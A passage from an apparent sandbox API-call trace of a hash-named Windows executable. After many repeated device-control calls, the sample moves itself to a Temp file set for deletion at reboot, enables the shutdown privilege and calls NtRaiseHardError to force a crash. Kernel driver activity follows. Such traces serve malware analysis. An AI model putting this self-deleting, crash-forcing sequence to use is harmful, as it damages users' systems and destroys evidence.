IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.122] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.122] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.123] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.123] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.123] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.124] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.124] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.124] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.125] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.125] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.125] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.126] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.126] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.126] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.127] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.127] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.127] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.128] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.128] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.128] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.128] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.129] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.129] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.129] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.130] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.130] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.130] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.133] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.133] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.133] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.134] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.134] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.134] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.135] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.135] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.135] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.135] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.136] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.136] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.136] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.137] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.137] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.137] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.138] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.140] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.140] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.141] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.141] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.141] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.142] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.142] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.142] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.143] NtDeviceIoControlFile (in: DeviceHandle=0xa4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x189098, IoControlCode=0x4d014, InputBuffer=0x1890a0, InputBufferSize=0x60, OutputBuffer=0x1890a0, OutputBufferSize=0x60 | out: IoStatusBlock=0x189098, OutputBuffer=0x1890a0) returned 0x0 [0048.156] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18ec10, nSize=0x104 | out: lpFilename="C:\\Users\\hJrD1KOKY DS8lUjv\\Desktop\\cb91b8695d3990b5b5eae8a714bd357e.exe") returned 0x47 [0048.156] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x18e7ec | out: lpBuffer="C:\\Users\\HJRD1K~1\\AppData\\Local\\Temp\\") returned 0x25 [0048.156] GetTempFileNameW (in: lpPathName="C:\\Users\\HJRD1K~1\\AppData\\Local\\Temp\\", lpPrefixString=0x0, uUnique=0x0, lpTempFileName=0x18e9f4 | out: lpTempFileName="C:\\Users\\HJRD1K~1\\AppData\\Local\\Temp\\3BD8.tmp" (normalized: "c:\\users\\hjrd1k~1\\appdata\\local\\temp\\3bd8.tmp")) returned 0x3bd8 [0048.156] MoveFileExW (lpExistingFileName="C:\\Users\\hJrD1KOKY DS8lUjv\\Desktop\\cb91b8695d3990b5b5eae8a714bd357e.exe" (normalized: "c:\\users\\hjrd1koky ds8lujv\\desktop\\cb91b8695d3990b5b5eae8a714bd357e.exe"), lpNewFileName="C:\\Users\\HJRD1K~1\\AppData\\Local\\Temp\\3BD8.tmp" (normalized: "c:\\users\\hjrd1k~1\\appdata\\local\\temp\\3bd8.tmp"), dwFlags=0x9) returned 1 [0048.159] MoveFileExW (lpExistingFileName="C:\\Users\\HJRD1K~1\\AppData\\Local\\Temp\\3BD8.tmp" (normalized: "c:\\users\\hjrd1k~1\\appdata\\local\\temp\\3bd8.tmp"), lpNewFileName=0x0, dwFlags=0xc) returned 1 [0048.159] RtlAdjustPrivilege (in: Privilege=0x13, NewValue=1, ForThread=0, OldValue=0x18ee23 | out: OldValue=0x18ee23) returned 0x0 [0048.160] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ebf4 | out: lpSystemTimeAsFileTime=0x18ebf4*(dwLowDateTime=0x44481050, dwHighDateTime=0x1d24fa4)) [0048.160] GetCurrentProcessId () returned 0x7d4 [0048.160] NtRaiseHardError (ErrorStatus=0xc00007bf, NumberOfParameters=0x0, UnicodeStringParameterMask=0x0, Parameters=0x0, ValidResponseOptions=0x6, Response=0x18ebfc) Thread: id = 2 os_tid = 0x720 Process: id = "2" image_name = "System" filename = "" page_root = "0x187000" os_pid = "0x4" monitor_reason = "kernel_analysis" parent_id = "0" os_parent_pid = "0x0" cmd_line = "" cur_dir = "" Region: id = 244 start_va = 0x10000 end_va = 0x32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 245 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Thread: id = 3 os_tid = 0x8 [0058.904] PortWdmAlwaysStatusSuccessIrp () returned 0x0 [0058.904] PortWdmAlwaysStatusSuccessIrp () returned 0x0 [0059.505] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d52000 [0059.505] IdePortDispatch () returned 0x103 [0059.529] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\Drivers\\crashdmp.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0059.544] IdePortDispatchDeviceControl () returned 0x0 [0059.545] IdePortDispatchDeviceControl () returned 0x0 [0059.547] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\Drivers\\dumpata.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0059.550] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\Drivers\\msahci.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0059.553] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\Drivers\\dumpfve.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0059.572] IdePortDispatchPnp () returned 0x0 [0059.573] IdePortDispatchDeviceControl () returned 0xc0000002 [0059.573] IdePortDispatchDeviceControl () returned 0xc00000bb [0059.599] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b492a40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003507000 [0059.599] IdePortDispatch () returned 0x103 [0059.600] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c22c330, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003527000 [0059.600] IdePortDispatch () returned 0x103 [0059.600] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c22c830, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003547000 [0059.600] IdePortDispatch () returned 0x103 [0059.601] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800caefa40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003567000 [0059.601] IdePortDispatch () returned 0x103 [0059.601] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80028d2400, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003587000 [0059.601] IdePortDispatch () returned 0x103 [0059.601] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b4240, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a7000 [0059.601] IdePortDispatch () returned 0x103 [0059.602] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1e17b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c7000 [0059.602] IdePortDispatch () returned 0x103 [0059.602] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b15b7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007ee1000 [0059.602] IdePortDispatch () returned 0x103 [0059.602] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d47f7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f01000 [0059.603] IdePortDispatch () returned 0x103 [0059.603] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027e7ec0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffffa8000000000) returned 0xfffff88007f21000 [0059.603] IdePortDispatch () returned 0x103 [0059.603] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b4680, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f41000 [0059.603] IdePortDispatch () returned 0x103 [0059.604] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a1c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f61000 [0059.604] IdePortDispatch () returned 0x103 [0059.604] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a4c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007f81000 [0059.604] IdePortDispatch () returned 0x103 [0059.604] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88007fa1000 [0059.605] IdePortDispatch () returned 0x103 [0059.771] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\cdrom.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0059.783] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\Drivers\\Null.SYS", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0059.791] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\Drivers\\Beep.SYS", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0059.803] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\drivers\\watchdog.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0059.803] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\drivers\\VIDEOPRT.SYS", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0059.803] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\drivers\\vga.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0059.851] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\DRIVERS\\RDPCDD.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0059.865] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\drivers\\rdpencdd.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0059.874] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\drivers\\rdprefmp.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0059.883] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\Drivers\\Msfs.SYS", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0059.893] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\Drivers\\Npfs.SYS", 